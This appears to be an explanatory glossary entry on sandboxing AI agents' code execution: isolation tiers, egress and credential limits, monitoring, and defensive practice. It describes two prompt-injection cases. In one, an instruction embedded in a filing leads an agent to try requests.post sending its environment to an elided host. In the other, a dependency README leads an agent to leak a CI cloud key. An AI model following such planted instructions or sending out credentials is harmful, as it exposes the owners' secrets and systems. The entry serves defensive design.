Code execution sandbox
An isolated environment where an agent's code and actions run with scoped files, network and credentials, so mistakes can't reach real systems.
A sandbox is a walled-off space where an AI agent can run code, edit files or browse without being able to harm anything outside it. If the agent deletes every file or runs something malicious, only the throwaway sandbox is affected.
Agents act on text they read from tools and web pages, which can be tampered with (see Prompt injection (indirect)), so a sandbox is one of the most important safety layers.
A test kitchen separate from the restaurant: the new cook can experiment, and a fire there doesn't close the dining room.
Treating a default container with full network and mounted credentials as a sandbox. Open egress plus a cloud role lets an injected instruction exfiltrate data anyway.
Isolation tiers, weaker to stronger: process restrictions (seccomp, macOS/Linux sandbox profiles), containers (shared kernel), user-space kernels like gVisor, and microVMs such as Firecracker (≈ 125 ms boot, < 5 MiB memory overhead per VM, per the NSDI 2020 paper) or full VMs. Match strength to risk: running untrusted generated code or browsing arbitrary sites needs a VM boundary; reading a repo may only need a container with no network.
What to restrict: filesystem (mount only the workspace, read-only where possible), network (deny by default, allowlist domains, block 169.254.169.254 and other metadata endpoints), credentials (short-lived, task-scoped tokens, never a developer's own keys or cloud role), resources (CPU, memory, wall-clock), lifetime (ephemeral, destroyed after the run). A sandbox limits Blast radius; it doesn't make decisions correct, so it complements Guardrails, Least privilege and Human in the loop as Defence in depth. Egress control is what breaks Willison's "lethal trifecta" (private data + untrusted content + a way out).
Ephemeral microVM (Firecracker) or gVisor container per run; workspace-only mount; egress denied except an allowlisted package proxy; metadata endpoints blocked; per-run tokens with 15-minute expiry; 2 vCPU / 4 GB / 10-minute limits; logs of every blocked syscall and connection shipped off-box.
Data-analysis agent for financial filings: generated Python runs in a Firecracker microVM with 2 vCPU, 4 GB RAM, a 5-minute limit, a read-only mount of the uploaded XBRL files, and no network. A filing with an embedded instruction makes the agent try requests.post("https://…", data=env); the call fails on DNS, the run logs a blocked-egress event, and the analysis still completes.
Recommend isolation by threat: VM boundary for untrusted code or open browsing, container with no egress for repo work. Then talk egress and credentials, not just "use Docker".
Expect: "the agent needs to install packages" — allowlist the package registry through a proxy, pin versions, and keep everything else blocked.
Numbers worth knowing
- Firecracker microVM boot
- ≈125 msNSDI 2020 paper
- Firecracker memory overhead
- < 5 MiB per microVMsame source
- Credential lifetime
- ≤15 minutes, task-scopedrecommended default for agent runs
How to decide
| When | Do this |
|---|---|
| The agent runs code it generated or downloaded | VM-grade isolation (microVM or gVisor), no default egress. |
| The agent only reads and edits a repo | Container, workspace mount, network off except a package proxy. |
| The task needs cloud APIs | A dedicated short-lived role scoped to the exact resources; never the host's role. |
Cost maths
Isolation is cheap relative to model calls: a 2 vCPU / 4 GB microVM for 3 minutes on on-demand cloud capacity is ≈ $0.002–0.005 (assume ~$0.08/hour for that shape, Oct 2026), while the same run's model tokens are ≈ $0.20–1.00. Sandboxing adds < 2% to run cost; skipping it moves risk to the Blast radius of production credentials.
Operating it
- Sandbox cold-start exceeds 10% of run latency (move to a warm pool)
- Blocked-egress events per 1k runs rise (injection campaign or a missing allowlist entry)
- Agents start needing write access to shared systems (add approval gates, not wider sandboxes)
- Blocked egress attempts per 1k runs (alert on 3× baseline)
- Runs with any credential older than 15 min (alert on any)
- Sandbox escapes or host-level alerts from the runtime (page on any)
- Cold-start p95 (alert above 2 s)
When it goes wrong
A coding agent opened a PR that included the CI runner's cloud access key in a debug log.
Secret scanning on the PR; the key was revoked within 20 minutes.
The agent ran in a container on a CI host that inherited the host's instance role via the metadata endpoint; a README in a dependency told it to print environment and credentials "for debugging".
Agents moved to microVMs with metadata endpoints blocked, no inherited role, and an egress allowlist; secrets never mounted into agent workspaces.
Related terms
Where it shows up
Sources
- Firecracker: Lightweight Virtualization for Serverless Applications — Agache et al., 2020paper
- gVisor documentation — Google, 2025docs
- The lethal trifecta for AI agents — Simon Willison, 2025blog
Check yourself
Three questions. Every option is explained once you answer.